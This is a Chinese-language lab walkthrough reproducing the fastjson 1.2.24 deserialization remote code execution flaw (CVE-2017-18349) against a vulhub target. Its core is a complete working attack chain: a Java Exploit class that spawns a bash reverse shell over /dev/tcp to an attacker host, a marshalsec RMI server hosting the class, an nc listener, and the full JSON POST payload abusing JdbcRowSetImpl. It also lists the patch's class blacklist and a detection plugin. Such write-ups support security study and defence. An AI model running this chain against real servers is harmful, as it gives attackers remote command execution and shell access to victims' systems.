CVE-2017-18349 fastjson 1.2.24 反序列化导致任意命令执行漏洞
0X00-引言
欲练此功，必先自宫
0X01-环境搭建
靶机：CentOS Linux 7
攻击机：windows server 2016 && Kail
环境：vulhub
项目地址：https://github.com/vulhub/vulhub
搭建vulhub请访问：空白centos7 64 搭建vulhub(详细)
工具：burpsuite marshalsec-0.0.3-SNAPSHOT-all.jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 下文有下载链接
0X02-漏洞描述
fastjson在解析json的过程中，支持使用autoType来实例化某一个具体的类，并调用该类的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。
Fastjson RCE关键函数：
DefaultJSONParser. parseObject() 解析传入的 json 字符串提取不同的 key 进行后续的处理
TypeUtils. loadClass() 根据传入的类名，生成类的实例
JavaBeanDeserializer. Deserialze() 依次调用 @type 中传入类的对象公有 set\get\is 方法。
ParserConfig. checkAutoType() 阿里后续添加的防护函数，用于在 loadclass 前检查传入的类是否合法。
0X03-漏洞复现
Apache log4j2利用方式和fastjson相似，EXP一样
http://192.168.234.128:8090/
01-安装marshalsec和mvn
我的之前复现log4j2安装过了-以下命令仅供参考
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
02-EXP编译/开启web服务
EXP：
public class Exploit {
public Exploit(){
try{
// 要执行的命令
String[] commands = {"bash","-c","exec 5<>/dev/tcp/192.168.234.135/12345;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
javac Exploit.java #编译
开启web服务
python -m SimpleHTTPServer 666 #python2命令
python -m http.server 666 #python3开启web服务
03-反弹shell
开启RMI服务，监听端口，并制定加载远程类Exploit.class,执行
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.234.135:666/#Exploit" 9999
开启监听
nc -lvvp 12345
burp发送POC
POST / HTTP/1.1
Host: 192.168.234.128:8090
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 161
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.234.135:9999/Exploit",
"autoCommit":true
}
}
成功反弹shell
0X04-工具检测
burp有插件https://github.com/Maskhe/FastjsonScan
0X05-漏洞防御
来自这篇文章
在fastjson的官方补丁中，将loadClass(typeName, config.getDefaultClassLoader())替换为了config.checkAutoType(typeName)，并且扩充了黑名单列表，将传入的类名与黑名单一一比较，如果发现了相同开头的类就停止反序列化。
// 新增的黑名单bshcom.mchangecom.sun.java.lang.Threadjava.net.Socketjava.rmijavax.xmlorg.apache.bcelorg.apache.commons.beanutilsorg.apache.commons.collections.Transformerorg.apache.commons.collections.functorsorg.apache.commons.collections4.comparatorsorg.apache.commons.fileuploadorg.apache.myfaces.context.servletorg.apache.tomcatorg.apache.wicket.utilorg.codehaus.groovy.runtimeorg.hibernateorg.jbossorg.mozilla.javascriptorg.python.coreorg.springframework
可以看到绝大部分常用的类都已经被加进来了，但是如果不经常维护此名单，一旦后面出现了新的可以利用的类，很容易就绕过这个限制。
0X06-免责声明
仅供学习参考
